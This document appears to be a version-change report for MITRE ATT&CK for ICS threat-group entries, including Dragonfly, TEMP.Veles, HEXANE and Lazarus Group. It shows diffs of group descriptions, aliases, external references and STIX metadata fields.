Description: [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)
Current version: 1.1
Description: [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)
Current version: 2.0
Description: [Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been attributed to Russia's Feder | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | al Security Service (FSB) Center 16.(Citation: DOJ Russia Ta | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | rgeting Critical Infrastructure March 2022)(Citation: UK GOV | ||
| > | . They have also targeted companies related to industrial co | > | FSB Factsheet April 2022) Active since at least 2010, [Drag | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | onfly](https://attack.mitre.org/groups/G0035) has targeted d | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | efense and aviation companies, government entities, companie | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | s related to industrial control systems, and critical infras | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | tructure sectors worldwide through supply chain, spearphishi | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | ng, and drive-by compromise attacks.(Citation: Symantec Drag | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | onfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citatio | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | n: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly | ||
| > | d to these being tracked as two separate groups. (Citation: | > | 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021) | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | (Citation: CISA AA20-296A Berserk Bear December 2020)(Citati | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | on: Symantec Dragonfly 2.0 October 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | |
| external_references | https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector | |
| external_references | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2022-05-24 19:21:16.242000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017) |
| external_references[1]['source_name'] | Dragonfly | DYMALLOY |
| external_references[1]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[2]['source_name'] | TG-4192 | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[3]['source_name'] | Crouching Yeti | TEMP.Isotope |
| external_references[3]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021) |
| external_references[4]['source_name'] | IRON LIBERTY | Crouching Yeti |
| external_references[4]['description'] | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[5]['source_name'] | Energetic Bear | IRON LIBERTY |
| external_references[5]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[6]['source_name'] | Symantec Dragonfly | TG-4192 |
| external_references[6]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[7]['source_name'] | Secureworks IRON LIBERTY July 2019 | Dragonfly |
| external_references[7]['description'] | Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[8]['source_name'] | Symantec Dragonfly Sept 2017 | Energetic Bear |
| external_references[8]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[9]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | CISA AA20-296A Berserk Bear December 2020 |
| external_references[9]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021. |
| external_references[9]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions |
| external_references[10]['source_name'] | Dragos DYMALLOY | DOJ Russia Targeting Critical Infrastructure March 2022 |
| external_references[10]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022. |
| external_references[10]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical |
| external_references[11]['source_name'] | Secureworks MCMD July 2019 | Dragos DYMALLOY |
| external_references[11]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[11]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.dragos.com/threat/dymalloy/ |
| external_references[12]['source_name'] | Secureworks Karagany July 2019 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[12]['description'] | Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[12]['url'] | https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | TEMP.Isotope | |
| aliases | DYMALLOY | |
| aliases | Berserk Bear | |
| external_references | {'source_name': 'Mandiant Ukraine Cyber Threats January 2022', 'description': 'Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.', 'url': 'https://www.mandiant.com/resources/ukraine-crisis-cyber-threats'} | |
| external_references | {'source_name': 'Secureworks MCMD July 2019', 'description': 'Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.', 'url': 'https://www.secureworks.com/research/mcmd-malware-analysis'} | |
| external_references | {'source_name': 'Secureworks IRON LIBERTY July 2019', 'description': 'Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector'} | |
| external_references | {'source_name': 'Secureworks Karagany July 2019', 'description': 'Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector'} | |
| external_references | {'source_name': 'Gigamon Berserk Bear October 2021', 'description': 'Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.', 'url': 'https://vblocalhost.com/uploads/VB2021-Slowik.pdf'} | |
| external_references | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} | |
| external_references | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} | |
| external_references | {'source_name': 'Symantec Dragonfly 2.0 October 2017', 'description': 'Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks'} | |
| external_references | {'source_name': 'UK GOV FSB Factsheet April 2022', 'description': "UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.", 'url': 'https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2022-05-23 21:22:08.170000+00:00 |
| external_references[4]['source_name'] | FireEye APT33 Sept 2017 | FireEye APT33 Webinar Sept 2017 |
| external_references[4]['description'] | O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018. | Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html | https://www.brighttalk.com/webcast/10703/275683 |
| external_references[5]['source_name'] | FireEye APT33 Webinar Sept 2017 | Microsoft Holmium June 2020 |
| external_references[5]['description'] | Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018. | Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020. |
| external_references[5]['url'] | https://www.brighttalk.com/webcast/10703/275683 | https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/ |
| external_references[6]['source_name'] | Microsoft Holmium June 2020 | FireEye APT33 Sept 2017 |
| external_references[6]['description'] | Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020. | O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018. |
| external_references[6]['url'] | https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/ | https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://dragos.com/resource/xenotime/ |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2022-05-24 16:22:20.856000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['source_name'] | XENOTIME | Dragos Xenotime 2018 |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019. |
| external_references[3]['source_name'] | FireEye TRITON 2019 | FireEye TEMP.Veles 2018 |
| external_references[3]['description'] | Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. | FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[4]['source_name'] | FireEye TEMP.Veles 2018 | FireEye TEMP.Veles 2018 |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[5]['source_name'] | FireEye TEMP.Veles JSON April 2019 | FireEye TRITON 2019 |
| external_references[5]['description'] | Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019. | Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html | https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html |
| external_references[6]['source_name'] | Dragos Xenotime 2018 | FireEye TEMP.Veles JSON April 2019 |
| external_references[6]['description'] | Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019. | Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019. |
| external_references[6]['url'] | https://dragos.com/resource/xenotime/ | https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html |
| external_references[8]['source_name'] | FireEye TEMP.Veles 2018 | XENOTIME |
| external_references[8]['description'] | FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019. | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind [TRITON](https://attack.mitre.org/software/S0609) .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.0
Version changed from: 1.1 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [HEXANE](https://collaborate.mitre.org/attackics/index.php/G | t | 1 | [HEXANE](https://attack.mitre.org/groups/G1001) is a threat |
| > | roup/G0005) is a threat group that has targeted ICS organiza | > | group that has targeted ICS organization within the oil & ga | ||
| > | tion within the oil & gas, and telecommunications sectors. M | > | s, and telecommunications sectors. Many of the targeted orga | ||
| > | any of the targeted organizations have been located in the M | > | nizations have been located in the Middle East including Kuw | ||
| > | iddle East including Kuwait. HEXANE's targeting of telecommu | > | ait. [HEXANE](https://attack.mitre.org/groups/G1001)'s targe | ||
| > | nications has been speculated to be part of an effort to est | > | ting of telecommunications has been speculated to be part of | ||
| > | ablish man-in-the-middle capabilities throughout the region. | > | an effort to establish man-in-the-middle capabilities throu | ||
| > | HEXANE's TTPs appear similar to [APT33](https://collaborate | > | ghout the region. [HEXANE](https://attack.mitre.org/groups/G | ||
| > | .mitre.org/attackics/index.php/Group/G0003) and [OilRig](htt | > | 1001)'s TTPs appear similar to [APT33](https://attack.mitre. | ||
| > | ps://collaborate.mitre.org/attackics/index.php/Group/G0010) | > | org/groups/G0064) and [OilRig](https://attack.mitre.org/grou | ||
| > | but due to differences in victims and tools it is tracked as | > | ps/G0049) but due to differences in victims and tools it is | ||
| > | a separate entity. (Citation: Dragos Hexane Oct 2019) | > | tracked as a separate entity. (Citation: Dragos) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://dragos.com/resource/hexane/ |
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--d78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| modified | 2020-01-05 20:13:49.069000+00:00 | 2022-05-24 19:27:30.581000+00:00 |
| description | [HEXANE](https://collaborate.mitre.org/attackics/index.php/Group/G0005) is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to [APT33](https://collaborate.mitre.org/attackics/index.php/Group/G0003) and [OilRig](https://collaborate.mitre.org/attackics/index.php/Group/G0010) but due to differences in victims and tools it is tracked as a separate entity. (Citation: Dragos Hexane Oct 2019) | [HEXANE](https://attack.mitre.org/groups/G1001) is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. [HEXANE](https://attack.mitre.org/groups/G1001)'s targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity. (Citation: Dragos) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Group/G0005 | https://attack.mitre.org/groups/G1001 |
| external_references[1]['source_name'] | HEXANE | Dragos |
| external_references[1]['description'] | (Citation: Dragos Hexane Oct 2019) | Dragos Hexane Retrieved. 2019/10/27 |
| x_mitre_version | 1.1 | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | HEXANE | |
| external_references | {'source_name': 'Lyceum', 'description': '(Citation: SecureWorks LYCEUM August 2019)'} | |
| external_references | {'source_name': 'Dragos Hexane Oct 2019', 'description': 'Dragos. (n.d.). Hexane. Retrieved October 27, 2019', 'url': 'https://dragos.com/resource/hexane/'} | |
| external_references | {'source_name': 'SecureWorks LYCEUM Nov 2019', 'description': 'SecureWorks. (2019, August 27). LYCEUM Takes Center Stage in Middle East Campaign. Retrieved November 19, 2019.', 'url': 'https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign'} |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet', 'Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2022-05-23 21:20:57.634000+00:00 |
